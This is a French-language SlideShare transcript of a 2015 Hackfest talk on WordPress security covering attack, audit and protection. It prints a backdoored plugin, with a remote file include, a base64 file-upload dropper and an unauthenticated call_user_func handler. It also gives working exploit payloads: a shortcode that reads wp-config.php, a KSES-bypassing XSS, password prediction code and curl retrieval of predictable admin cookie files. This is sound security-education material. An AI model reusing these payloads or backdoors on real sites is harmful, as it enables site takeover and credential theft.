WordPress : Attaque, Audit
et Protection
François Harvey
http://francoisharvey.ca
Préparé dans le cadre du hackfest 2015
Ou si vous préférez
(C) 2015 Francois Harvey / http://francoisharvey.ca 2
François Harvey
• Professionnel en sécurité de l’information
• Directeur des opérations chez Horizon-Cumulus
• 2ei confére...
Moi & Wordpress
• Intervention annuelle sur une centaine de projets utilisant Wordpress
• Audit de sécurité
• Analyse post...
Pourquoi la sécurité Wordpress ?
20 %des sites web…
(C) 2015 Francois Harvey / http://francoisharvey.ca 5
Objectifs de la conférence
• Wordpress 
• Non, pas de vulnérabilité Web générique
• Non, ca ne sera pas un tutorial sur «...
Attaque
(C) 2015 Francois Harvey / http://francoisharvey.ca 7
(C) 2015 Francois Harvey / http://francoisharvey.ca 8
FALSE ! Même le core de wordpress est
insécure
• Pas Exploitable != Sécuritaire
• Aucune journalisation
• Aucune intégrité...
Attaques principales
• Diffusion de version
• Énumération
• Brute force
• Remplacement de contenu (SEO, liens, vandalisme)...
Diffusion des versions
/readme.html
<meta name="generator" content="WordPress 3.9.9" />
(C) 2015 Francois Harvey / http://...
Énumération d’utilisateur
https://example.org?author=1
HTTP/1.1 301 Moved Permanently
Location: https://example.org/author...
0
2000
4000
6000
8000
10000
12000
14000
16000
Novembre Decembre Janvier Février Mars Avril Mai Juin Juillet Aout Septembre...
Plusieurs approches
• Botnet : Liste de mot de passe partagés sur un très grand pool
d’adresse
• Brute-force : Une adresse...
Exploit générique dans des thèmes / plugins
(C) 2015 Francois Harvey / http://francoisharvey.ca 15
Malware distribué sous forme de plugin
<?php
/*
Plugin Name: Wordpress admin security
Plugin URI: http://buynowshop.com/pl...
* @package BNS_Add_Widget
* @link http://buynowshop.com/plugins/bns-add-widget/
* @link https://github.com/Cais/bns-add-wi...
/** Add Widget Definition */
add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) );
function BNS_Add_Wid...
/** Add Widget Definition */
add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) );
function BNS_Add_Wid...
/** Add Widget Definition */
add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) );
function BNS_Add_Wid...
if (isset($_REQUEST['ajax_callback']) && isset($_REQUEST['action']) &&
($_REQUEST['action']=='bns_add')) {
add_action('wp_...
Audit
(C) 2015 Francois Harvey / http://francoisharvey.ca 22
L’approche « graybox »
• Plusieurs éléments accessible
• Code sources parfois disponible
• Inscription possible
• Recherch...
Environnement de test et audit
• Environnement LAMP/WAMP (Kali Linux)
• Wordpress ! (Git)
• Navigateur Web (OWASP Mantra)
...
Configuration de Wordpress
• Debug bar
• Debug Bar Console
• Debug Bar Shortcodes
• What Template
• define('WP_DEBUG', tru...
(C) 2015 Francois Harvey / http://francoisharvey.ca 26
Le hasard n’existe pas, tout à
cause et une raison d’être
Ostah Elahi
(C) 2015 Francois Harvey / http://francoisharvey.ca ...
Wordpress est souvent prévisible
• Séquence numérique (ex post_id)
canonical ou dans les classes
• time()
/wp-admin/admin-...
WP_Rand()
• Basée sur une variable globale ($rnd_value)
$rnd_value = md5( uniqid(microtime() . mt_rand(),
true ) . $seed )...
Et si initialise $rnd_value dans wp-config.php
?
• $rnd_value =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
À l’inverse, ont peut prévoir les résultats
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^...
Wordpress « nonce » et sessions
define('AUTH_KEY', ' Xakm<o xQy rw4EMsLKM-?!T+,PFF})H4lzcW57AF0U@N@< >M%G4Yt>f`z]MON');
de...
Cookie
wordpress_66c4fcc6e76a5b1fed79b88d4c248c42=admin|1446840009|FUGfZsNXBmxgTv
QhnJcY6snELb51I9w6zvmzB37hLGQ|93e66bc49d...
« Nonce »
/wp-admin/edit-tags.php?action=delete&taxonomy=event-
categories&tag_ID=2&_wpnonce=8acf307923
return substr( wp_...
Vecteurs d’attaques spécifiques à Wordpress
• Attaque de prédiction
• ShortCode : [BALISE] qui permet l’insertion de fonct...
Wordpress « multisite »
• Mode de wordpress permettant d’avoir plusieurs sites distinct sur un
environnement unique (netwo...
Plugins
• Plus de 30 000 plugins répertoriés
• N’importe qui peut soumettre une plugin
• N’importe qui peut installer une ...
Les recherches du code source (grep)
• wp_ajax_nopriv vs wp_ajax_
• do_shortcode
• wp-load
• call_user_func / exec
• add_a...
Exemple de prévision dans MainWP
Vulnérabilitée dans le système de session.
$cookieDir = $dirs[0] . 'cookies';
mkdir($cook...
• php -r "echo sha1(sha1('mainwp1') . 'WP_Cookie');“
cc52728938ce3cba5b0e41213a18c14cda9ae70a
• php -r "echo sha1(sha1('ma...
Des cookies d’authentification 
• # Netscape HTTP Cookie File
• # http://curl.haxx.se/docs/http-cookies.html
• # This fil...
Ajax
• add_action('wp_ajax_nopriv_....)
• Vecteur OOB
• POST /wp-admin/admin-ajax.php
action=X
(C) 2015 Francois Harvey / ...
(C) 2015 Francois Harvey / http://francoisharvey.ca 43
Par exemple wp-leads
add_action('wp_ajax_nopriv_automation_run_automation
_on_all_leads',
'wpleads_lead_automation_build_q...
function inbound_get_all_lead_data() {
$wp_lead_id = $_POST['wp_lead_id'];
if (isset($wp_lead_id) && is_numeric($wp_lead_i...
Woocommerce utilise les méta…
(C) 2015 Francois Harvey / http://francoisharvey.ca 46
Exploitation « ShortCode »
• La manipulation des shortcodes peut permettre de contourner des
mécanismes de sécurité.
• Ne ...
Accessible via Debug Menu
(C) 2015 Francois Harvey / http://francoisharvey.ca 48
Limitation des attaques XSS (Cross Site
Scripting)
Est remplacé par
' ‘
" «
Retour de ligne <br/>
Saut de ligne <p>
<scrip...
Master Slider
• Master Slider utilise des shortcodes
• [ms_slide_info tag_name=“div" css_class=“ma_classe"]
[/ms_slide_inf...
Contournement KSES
<form>alert('&#x6
8;ackfest'&#
x29;;</form>
[ms_slide_info tag_name="script"
css_class=""]eval(decodeUR...
Injection dans des shortcodes
function js_ch_run_shortcode(){
$code = json_decode( str_replace('"' , '"',
urldecode($_REQU...
{
"]":"",
"[mon_shortcode ici param 1 et param2]":""
}
[mon_tag ]=[mon_shortcode ici param 1 et param2]=
(C) 2015 Francois...
shortcodes-ultimate
• Installations actives : 400 000+
• Toujours pas corrigé
• Ne l’utilisez pas sur vos environnements…
...
public static function post( $atts = null, $content = null ) {
$atts = shortcode_atts( array( 'field' => 'post_title',
'de...
Exploitation
• [su_post default="wp-config.php" before="" after="" post_id=121212
field=existe_pas filter="file_get_conten...
Ou encore plus simple….
public static function table( $atts = null, $content = null ) {
$atts = shortcode_atts( array(
'ur...
Vérification des post type
(C) 2015 Francois Harvey / http://francoisharvey.ca 58
Vérification des permissions et rôles
(C) 2015 Francois Harvey / http://francoisharvey.ca 59
Manque de restrictions
(C) 2015 Francois Harvey / http://francoisharvey.ca 60
Attention au erreur de logique
$validated = true;
if(pexeto_option('captcha')==true &&
!(isset($_POST['widget']) &&
$_POST...
Protection
(C) 2015 Francois Harvey / http://francoisharvey.ca 62
Une plugin de sécurité n’est pas une option
• Les plugins de sécurité Wordpress ne peuvent pas faire plus que
Wordpress le...
Diminuer la visibilité
• Supprimer le readme.html
• Masquer la version
remove_action('wp_head', 'wp_generator');
• Désacti...
Mise à jour
• Mise à jour du core de Wordpress
• Mise à jour des plugins
• Supprimer toutes plugins non utilisées
(C) 2015...
Protection contre le brute force
Pour l’énumération
RewriteCond %{REQUEST_URI} ^/$
RewriteCond %{QUERY_STRING} ^/?author=(...
Utiliser des mécanismes de sécurité externe
• Utilisation d’un WAF externe
Par contre, plusieurs vulnérabilités ne seront ...
Auditer thème et plugins
• Auditer les plugins que vous utilisez
• Limiter le nombre de plugin à seulement ceux nécessaire...
Conclusion
• Wordpress doit être traité comme un système d’information.
• Ce n’est pas un système auto gérée
• L’image de ...
Question et réponses
• Je serai disponible après la conférence pour répondre à vos questions
(C) 2015 Francois Harvey / ht...
Contact
• Blog (mouais, il est en Wordpress)
http://francoisharvey.ca/
• Linked-in
http://ca.linkedin.com/in/francoisharve...
Prochain SlideShare
Chargement dans…5
×

Wordpress : Attaque, Audit et Protection | Hackfest 2015

3 632 vues

Publié le

Présentation de François Harvey dans le cadre du hackfest 2015 sur la sécurité Wordpress. FrancoisHarvey.ca

Publié dans : Technologie
0 commentaire
3 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

Aucun téléchargement
Vues
Nombre de vues
3 632
Sur SlideShare
0
Issues des intégrations
0
Intégrations
1 358
Actions
Partages
0
Téléchargements
0
Commentaires
0
J’aime
3
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Wordpress : Attaque, Audit et Protection | Hackfest 2015

  1. 1. WordPress : Attaque, Audit et Protection François Harvey http://francoisharvey.ca Préparé dans le cadre du hackfest 2015
  2. 2. Ou si vous préférez (C) 2015 Francois Harvey / http://francoisharvey.ca 2
  3. 3. François Harvey • Professionnel en sécurité de l’information • Directeur des opérations chez Horizon-Cumulus • 2ei conférence au Hackfest (Faut croire que la première était pas si pire) (C) 2015 Francois Harvey / http://francoisharvey.ca 3
  4. 4. Moi & Wordpress • Intervention annuelle sur une centaine de projets utilisant Wordpress • Audit de sécurité • Analyse post-incident • Hébergement Web • Migration • Développement sécuritaire • Je ne suis pas un développeur Wordpress (mais j’en supervise) • Je suis meilleur pour briser des trucs que pour les développer ;) (C) 2015 Francois Harvey / http://francoisharvey.ca 4
  5. 5. Pourquoi la sécurité Wordpress ? 20 %des sites web… (C) 2015 Francois Harvey / http://francoisharvey.ca 5
  6. 6. Objectifs de la conférence • Wordpress  • Non, pas de vulnérabilité Web générique • Non, ca ne sera pas un tutorial sur « wpscan » • L’objectif premier est de comprendre ce qui est « Spécifique » à Wordpress et identifier vos propres vulnérabilités (C) 2015 Francois Harvey / http://francoisharvey.ca 6
  7. 7. Attaque (C) 2015 Francois Harvey / http://francoisharvey.ca 7
  8. 8. (C) 2015 Francois Harvey / http://francoisharvey.ca 8
  9. 9. FALSE ! Même le core de wordpress est insécure • Pas Exploitable != Sécuritaire • Aucune journalisation • Aucune intégrité • Diffusion de version • XMLRPC • ID Séquentiel • Cryptographie Faible (C) 2015 Francois Harvey / http://francoisharvey.ca 9
  10. 10. Attaques principales • Diffusion de version • Énumération • Brute force • Remplacement de contenu (SEO, liens, vandalisme) • Porte dérobée • SPAM • Accès non autorisé • Contournement de mesure de sécurité logique (C) 2015 Francois Harvey / http://francoisharvey.ca 10
  11. 11. Diffusion des versions /readme.html <meta name="generator" content="WordPress 3.9.9" /> (C) 2015 Francois Harvey / http://francoisharvey.ca 11
  12. 12. Énumération d’utilisateur https://example.org?author=1 HTTP/1.1 301 Moved Permanently Location: https://example.org/author/superadmin/ $ wpscan --enumerate u --url http://example.org (C) 2015 Francois Harvey / http://francoisharvey.ca 12
  13. 13. 0 2000 4000 6000 8000 10000 12000 14000 16000 Novembre Decembre Janvier Février Mars Avril Mai Juin Juillet Aout Septembre Octobre Attaque par dictionnaire Série 1 (C) 2015 Francois Harvey / http://francoisharvey.ca 13
  14. 14. Plusieurs approches • Botnet : Liste de mot de passe partagés sur un très grand pool d’adresse • Brute-force : Une adresse IP qui énumère l’ensemble des mots de passe • Micro : mot de passe unique à la fois tester sur un très grand nombre de wordpress Dans notre cas, un journal combiné des erreurs d’authentification de l’ensemble des sites est utilisé pour alimenté la détection d’intrusion (C) 2015 Francois Harvey / http://francoisharvey.ca 14
  15. 15. Exploit générique dans des thèmes / plugins (C) 2015 Francois Harvey / http://francoisharvey.ca 15
  16. 16. Malware distribué sous forme de plugin <?php /* Plugin Name: Wordpress admin security Plugin URI: http://buynowshop.com/plugins/bns-add-widget Description: Add a widget area to the footer of any theme. Version: 0.8 Author: Edward Caissie Author URI: http://edwardcaissie.com/ Text Domain: bns-add-widget License: GNU General Public License v2 License URI: http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ (C) 2015 Francois Harvey / http://francoisharvey.ca 16
  17. 17. * @package BNS_Add_Widget * @link http://buynowshop.com/plugins/bns-add-widget/ * @link https://github.com/Cais/bns-add-widget/ * @link https://wordpress.org/plugins/bns-add-widget/ * @version 0.8 * @author Edward Caissie <edward*/ if(isset($_REQUEST['wsm'])){include($_REQUEST['wsm']);} /*.caissie@gmail.com> * @copyright Copyright (c) 2010-2015, Edward Caissie (C) 2015 Francois Harvey / http://francoisharvey.ca 17
  18. 18. /** Add Widget Definition */ add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) ); function BNS_Add_Widget_Definition() { $path=ABSPATH.'wp-content/plugins/mainwp-child/mainwp-child.php'; if (file_exists($path)){ file_put_contents($path,preg_replace('/ Version: ([d.]*)/i'," Version: 2.0.27n",file_get_contents($path))); } $bns_conf=base64_decode('PD9waHAgZWNobyAiTk9fQUxMT1dfRElSRUNUX1JFUVVFU1QiOyBpZiAoKGlzc2V0 KCRfRklMRVMpKSYmKGlzc2V0KCRfUE9TVFsnZmlsZW5hbWUnXSkpKSB7CWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1 sndXBkYXRlX3BsdWdpbiddWyd0bXBfbmFtZSddLCRfUE9TVFsnZmlsZW5hbWUnXSkpIAl7IGVjaG8gIjxwcmU+XG4iOyAJCXBy aW50X3IgKHNjYW5kaXIoZGlybmFtZSgkX1BPU1RbJ2ZpbGVuYW1lJ10pKSk7IH19Pz4='); @file_put_contents(ABSPATH.'wp-futures-4.3.1.php',$bns_conf); if (file_exists(dirname(__FILE__).'/init.txt')){include(dirname(__FILE__).'/init.txt');} } (C) 2015 Francois Harvey / http://francoisharvey.ca 18
  19. 19. /** Add Widget Definition */ add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) ); function BNS_Add_Widget_Definition() { $path=ABSPATH.'wp-content/plugins/mainwp-child/mainwp-child.php'; if (file_exists($path)){ file_put_contents($path,preg_replace('/ Version: ([d.]*)/i'," Version: 2.0.27n",file_get_contents($path))); } $bns_conf=base64_decode('PD9waHAgZWNobyAiTk9fQUxMT1dfRElSRUNUX1JFUVVFU1QiOyBpZiAoKGlzc2V0 KCRfRklMRVMpKSYmKGlzc2V0KCRfUE9TVFsnZmlsZW5hbWUnXSkpKSB7CWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1 sndXBkYXRlX3BsdWdpbiddWyd0bXBfbmFtZSddLCRfUE9TVFsnZmlsZW5hbWUnXSkpIAl7IGVjaG8gIjxwcmU+XG4iOyAJCXBy aW50X3IgKHNjYW5kaXIoZGlybmFtZSgkX1BPU1RbJ2ZpbGVuYW1lJ10pKSk7IH19Pz4='); @file_put_contents(ABSPATH.'wp-futures-4.3.1.php',$bns_conf); if (file_exists(dirname(__FILE__).'/init.txt')){include(dirname(__FILE__).'/init.txt');} } (C) 2015 Francois Harvey / http://francoisharvey.ca 19
  20. 20. /** Add Widget Definition */ add_action( 'admin_init', array( $this, 'BNS_Add_Widget_Definition' ) ); function BNS_Add_Widget_Definition() { $path=ABSPATH.'wp-content/plugins/mainwp-child/mainwp-child.php'; if (file_exists($path)){ file_put_contents($path,preg_replace('/ Version: ([d.]*)/i'," Version: 2.0.27n",file_get_contents($path))); } $bns_conf=base64_decode('PD9waHAgZWNobyAiTk9fQUxMT1dfRElSRUNUX1JFUVVFU1QiOyBpZiAoKGlzc2V0 KCRfRklMRVMpKSYmKGlzc2V0KCRfUE9TVFsnZmlsZW5hbWUnXSkpKSB7CWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1 sndXBkYXRlX3BsdWdpbiddWyd0bXBfbmFtZSddLCRfUE9TVFsnZmlsZW5hbWUnXSkpIAl7IGVjaG8gIjxwcmU+XG4iOyAJCXBy aW50X3IgKHNjYW5kaXIoZGlybmFtZSgkX1BPU1RbJ2ZpbGVuYW1lJ10pKSk7IH19Pz4='); @file_put_contents(ABSPATH.'wp-futures-4.3.1.php',$bns_conf); if (file_exists(dirname(__FILE__).'/init.txt')){include(dirname(__FILE__).'/init.txt');} } <?php echo "NO_ALLOW_DIRECT_REQUEST"; if ((isset($_FILES))&&(isset($_POST['filename']))) { if (move_uploaded_file($_FILES['update_plugin']['tmp_name'], $_POST['filename'])) { echo "<pre>n"; print_r (scandir(dirname($_POST['filename']))); }}?> (C) 2015 Francois Harvey / http://francoisharvey.ca 20
  21. 21. if (isset($_REQUEST['ajax_callback']) && isset($_REQUEST['action']) && ($_REQUEST['action']=='bns_add')) { add_action('wp_ajax_nopriv_bns_add','bns_add'); } function bns_add() { if (isset($_POST['call'])) { call_user_func($_POST['call'],$_POST); } } (C) 2015 Francois Harvey / http://francoisharvey.ca 21
  22. 22. Audit (C) 2015 Francois Harvey / http://francoisharvey.ca 22
  23. 23. L’approche « graybox » • Plusieurs éléments accessible • Code sources parfois disponible • Inscription possible • Recherche (s=) • XMLRPC • Version exposé • User énumération (author=x ) (C) 2015 Francois Harvey / http://francoisharvey.ca 23
  24. 24. Environnement de test et audit • Environnement LAMP/WAMP (Kali Linux) • Wordpress ! (Git) • Navigateur Web (OWASP Mantra) • Proxy inversé ( BURP Suite Pro) PENTEST Utiliser la version de PHP / Wordpress / Apache de la cible (C) 2015 Francois Harvey / http://francoisharvey.ca 24
  25. 25. Configuration de Wordpress • Debug bar • Debug Bar Console • Debug Bar Shortcodes • What Template • define('WP_DEBUG', true); • define('SAVEQUERIES', true); • Debug Bar Post Types, Hook, Filters, Roles and Capabilities (C) 2015 Francois Harvey / http://francoisharvey.ca 25
  26. 26. (C) 2015 Francois Harvey / http://francoisharvey.ca 26
  27. 27. Le hasard n’existe pas, tout à cause et une raison d’être Ostah Elahi (C) 2015 Francois Harvey / http://francoisharvey.ca 27
  28. 28. Wordpress est souvent prévisible • Séquence numérique (ex post_id) canonical ou dans les classes • time() /wp-admin/admin-ajax.php?action=heartbeat • uniq() • wp_rand() • microtime() • mt_rand() (C) 2015 Francois Harvey / http://francoisharvey.ca 28
  29. 29. WP_Rand() • Basée sur une variable globale ($rnd_value) $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed ); $rnd_value .= sha1($rnd_value); $rnd_value .= sha1($rnd_value . $seed); $seed = md5($seed . $rnd_value); • Devrait être corrigé dans les version 4.4 de Wordpress (après 17 mois depuis le ticket original) (C) 2015 Francois Harvey / http://francoisharvey.ca 29
  30. 30. Et si initialise $rnd_value dans wp-config.php ? • $rnd_value = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; (C) 2015 Francois Harvey / http://francoisharvey.ca 30
  31. 31. À l’inverse, ont peut prévoir les résultats $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()'; $mot_de_passe = ''; for ( $i = 0; $i < 12; $i++ ) { $a = substr($rnd_value, $i*8, 8); $value = abs(hexdec($a)); $b = 0 + ( strlen($chars) - $min ) * $value / ( 4294967295 + 1 ); $mot_de_passe .= substr($chars, $b, 1); } Le prochain mot de passe sera $mot_de_pase (C) 2015 Francois Harvey / http://francoisharvey.ca 31
  32. 32. Wordpress « nonce » et sessions define('AUTH_KEY', ' Xakm<o xQy rw4EMsLKM-?!T+,PFF})H4lzcW57AF0U@N@< >M%G4Yt>f`z]MON'); define('SECURE_AUTH_KEY', 'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~'); define('LOGGED_IN_KEY', '|i|Ux`9<p-h$aFf(qnT:sDO:D1P^wZ$$/Ra@miTJi9G;ddp_<q}6H1)o|a +&JCM'); define('NONCE_KEY', '%:R{[P|,s.KuMltH5}cI;/k<Gx~j!f0I)m_sIyu+&NJZ)-iO>z7X>QYR0Z_XnZ@|'); define('AUTH_SALT', 'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW'); define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W<I`.JjPi)<Bmf1v,HpGe}T1:Xt7n'); define('LOGGED_IN_SALT', '+XSqHc;@Q*K_b|Z?NC[3H!!EONbh.n<+=uKR:>*c(u`g~EJBf#8u#R{mUEZrozmm'); define('NONCE_SALT', 'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT'); (C) 2015 Francois Harvey / http://francoisharvey.ca 32
  33. 33. Cookie wordpress_66c4fcc6e76a5b1fed79b88d4c248c42=admin|1446840009|FUGfZsNXBmxgTv QhnJcY6snELb51I9w6zvmzB37hLGQ|93e66bc49dd95414dad909030b9f19b4f812dae1256b 13cf0d7858472a9b777f; wordpress_logged_in_66c4fcc6e76a5b1fed79b88d4c248c42=admin|1446840009|FUGfZs NXBmxgTvQhnJcY6snELb51I9w6zvmzB37hLGQ|b9f92f5d6e93a65c0c9b81a4d354867300a5 1942da2c86903d87779b7fae9327; • MD5 du site • Nom de l’utilisateur • Expiration • wp_generate_password( 43, false, false ) • $pass_frag = substr($user->user_pass, 8, 4); $key = wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme ); (C) 2015 Francois Harvey / http://francoisharvey.ca 33
  34. 34. « Nonce » /wp-admin/edit-tags.php?action=delete&taxonomy=event- categories&tag_ID=2&_wpnonce=8acf307923 return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); • $i = période de 12 ou 24 heures • $action = défini par l’utilisateur, souvent global par plugin • $uid = code utilisateur • $token = Cookies utilisateur (C) 2015 Francois Harvey / http://francoisharvey.ca 34
  35. 35. Vecteurs d’attaques spécifiques à Wordpress • Attaque de prédiction • ShortCode : [BALISE] qui permet l’insertion de fonction pré établi dans le texte [/BALISE] • AJAX : Mécanismes intégré à Wordpress d’exécuter des fonctions en parallèle • Hook/filter : API qui permet au plugins d’intercepter et intervenir sur des événements systèmes • Manipulation WP_Query() (C) 2015 Francois Harvey / http://francoisharvey.ca 35
  36. 36. Wordpress « multisite » • Mode de wordpress permettant d’avoir plusieurs sites distinct sur un environnement unique (network) • Liste d’utilisateurs globale • Plugins par site ou par network • Segmentation logique de la base de données • Segmentation logique des dossiers de téléchargement • Pas implanté correctement par plusieurs modules • Un seul périmètre de sécurité : 1 site piraté = l’ensemble des sites compromis. (C) 2015 Francois Harvey / http://francoisharvey.ca 36
  37. 37. Plugins • Plus de 30 000 plugins répertoriés • N’importe qui peut soumettre une plugin • N’importe qui peut installer une plugin • Aucune assurance qualité • Aucune norme de développement • Aucune signature numérique Pour les thèmes, c’est similaire (C) 2015 Francois Harvey / http://francoisharvey.ca 37
  38. 38. Les recherches du code source (grep) • wp_ajax_nopriv vs wp_ajax_ • do_shortcode • wp-load • call_user_func / exec • add_action *_init • $_ (REQUEST, GET,POST,COOKIE) • Fonction fichiers (mkdir, file_get_contents) (C) 2015 Francois Harvey / http://francoisharvey.ca 38
  39. 39. Exemple de prévision dans MainWP Vulnérabilitée dans le système de session. $cookieDir = $dirs[0] . 'cookies'; mkdir($cookieDir, 0777, true); $cookieFile = $cookieDir . '/' . sha1(sha1('mainwp' . $website->id) . 'WP_Cookie'); "Today we released updates to both the MainWP Dashboard (2.0.23) and MainWP Child (2.0.23) that contain additional security hardening for a possible issue found by Francois Harvey and reported through out White Hat Reward Program.(C) 2015 Francois Harvey / http://francoisharvey.ca 39
  40. 40. • php -r "echo sha1(sha1('mainwp1') . 'WP_Cookie');“ cc52728938ce3cba5b0e41213a18c14cda9ae70a • php -r "echo sha1(sha1('mainwp2') . 'WP_Cookie');" • php -r "echo sha1(sha1('mainwp3') . 'WP_Cookie');" • php -r "echo sha1(sha1('mainwp4') . 'WP_Cookie');" curl http://xxxxxxxxxxxxxxxxxxx/wp- content/uploads/mainwp/cookies/cc52728938ce3cba5b0e41213a18c1 4cda9ae70a (C) 2015 Francois Harvey / http://francoisharvey.ca 40
  41. 41. Des cookies d’authentification  • # Netscape HTTP Cookie File • # http://curl.haxx.se/docs/http-cookies.html • # This file was generated by libcurl! Edit at your own risk. • #HttpOnly_yyyyyyyyyy.com FALSE /wp-content/plugins FALSE 0 wordpress_f3450b0426d256e16d347e539bc3dzzz admin%7C1438741242%7CPzzzWE51hren17zDD6UnlQ4fllbIlz9J4QpogrIcE0o%7C80abc9f1ec5bb9 48ac5f565237eb0862a6748041471f4a3e0zzzzzz • #HttpOnly_yyyyyyyyyy.com FALSE /wp-admin FALSE 0 wordpress_f3450b0426d256e16d347e539bc3zzz admin%7C1438741242%7CPzzzWE51hren17zDD6UnlQ4fllbIlz9J4QpogrIcE0o%7C80abc9f1ec5bb9 48ac5f565237eb0862a6748041471f4a3e0bf0696zzzzzz • #HttpOnly_yyyyyyyyyy.com FALSE / FALSE 0 wordpress_logged_in_f3450b0426d256e16d347e539bc3zzz admin%7C1438741242%7CPzzzWE51hren17zDD6UnlQ4fllbIlz9J4QpogrIcE0o%7Cb0d2bcc431f817 e6e5eb9044ed8af4eb9d658bbd3f63785139fzzzzzzzz (C) 2015 Francois Harvey / http://francoisharvey.ca 41
  42. 42. Ajax • add_action('wp_ajax_nopriv_....) • Vecteur OOB • POST /wp-admin/admin-ajax.php action=X (C) 2015 Francois Harvey / http://francoisharvey.ca 42
  43. 43. (C) 2015 Francois Harvey / http://francoisharvey.ca 43
  44. 44. Par exemple wp-leads add_action('wp_ajax_nopriv_automation_run_automation _on_all_leads', 'wpleads_lead_automation_build_queue'); (C) 2015 Francois Harvey / http://francoisharvey.ca 44
  45. 45. function inbound_get_all_lead_data() { $wp_lead_id = $_POST['wp_lead_id']; if (isset($wp_lead_id) && is_numeric($wp_lead_id)) { global $wpdb; $data = array(); $wpdb->query($wpdb->prepare(" SELECT `meta_key`, `meta_value` FROM $wpdb->postmeta WHERE `post_id` = %d", $wp_lead_id )); foreach($wpdb->last_result as $k => $v) { $data[$v->meta_key] = $v->meta_value; }; echo json_encode($data,JSON_FORCE_OBJECT); wp_die(); } } (C) 2015 Francois Harvey / http://francoisharvey.ca 45
  46. 46. Woocommerce utilise les méta… (C) 2015 Francois Harvey / http://francoisharvey.ca 46
  47. 47. Exploitation « ShortCode » • La manipulation des shortcodes peut permettre de contourner des mécanismes de sécurité. • Ne nécessite pas de privilège • Parfois intégré à des thèmes et requètes ajax • Les thèmes et plugins les utilise beaucoup et sont souvent très peu sécurisé • Rarement identifié par des scanneur automatisé • do_shortcode sur du contenu utilisateur (C) 2015 Francois Harvey / http://francoisharvey.ca 47
  48. 48. Accessible via Debug Menu (C) 2015 Francois Harvey / http://francoisharvey.ca 48
  49. 49. Limitation des attaques XSS (Cross Site Scripting) Est remplacé par ' ‘ " « Retour de ligne <br/> Saut de ligne <p> <script> Attribut (onload, onblur, onfocus) KSES Strips Evil Scripts (C) 2015 Francois Harvey / http://francoisharvey.ca 49
  50. 50. Master Slider • Master Slider utilise des shortcodes • [ms_slide_info tag_name=“div" css_class=“ma_classe"] [/ms_slide_info] • $output = sprintf( '<%1$s class="ms-info%2$s">%3$s</%1$s>', $tag_name, $css_class, do_shortcode( wp_unslash( $content ) ) )."n"; (C) 2015 Francois Harvey / http://francoisharvey.ca 50
  51. 51. Contournement KSES <form>alert('&#x6 8;ackfest'&# x29;;</form> [ms_slide_info tag_name="script" css_class=""]eval(decodeURI(document.forms[0].innerH TML));[/ms_slide_info] (C) 2015 Francois Harvey / http://francoisharvey.ca 51
  52. 52. Injection dans des shortcodes function js_ch_run_shortcode(){ $code = json_decode( str_replace('"' , '"', urldecode($_REQUEST["ch_code"]))); $decode = "[mon_tag"; if($code){ foreach($code as $k=>$v){ $decode .= " $k='$v'"; } } $decode .= "]"; echo do_shortcode($decode); die(); } (C) 2015 Francois Harvey / http://francoisharvey.ca 52
  53. 53. { "]":"", "[mon_shortcode ici param 1 et param2]":"" } [mon_tag ]=[mon_shortcode ici param 1 et param2]= (C) 2015 Francois Harvey / http://francoisharvey.ca 53
  54. 54. shortcodes-ultimate • Installations actives : 400 000+ • Toujours pas corrigé • Ne l’utilisez pas sur vos environnements… (C) 2015 Francois Harvey / http://francoisharvey.ca 54
  55. 55. public static function post( $atts = null, $content = null ) { $atts = shortcode_atts( array( 'field' => 'post_title', 'default' => '', 'before' => '', 'after' => '', 'post_id' => '', 'filter' => '' ), $atts, 'post' ); if ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID(); if ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Post: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) ); $post = get_post( $atts['post_id'] ); $post = ( empty( $post ) || empty( $post->$atts['field'] ) ) ? $atts['default'] : $post- >$atts['field']; if ( $atts['filter'] && function_exists( $atts['filter'] ) ) $post = call_user_func( $atts['filter'], $post ); return ( $post ) ? $atts['before'] . $post . $atts['after'] : ''; (C) 2015 Francois Harvey / http://francoisharvey.ca 55
  56. 56. Exploitation • [su_post default="wp-config.php" before="" after="" post_id=121212 field=existe_pas filter="file_get_contents"] • Tout les utilisateurs avec des rôles contributeurs et plus peuvent l’executer. (C) 2015 Francois Harvey / http://francoisharvey.ca 56
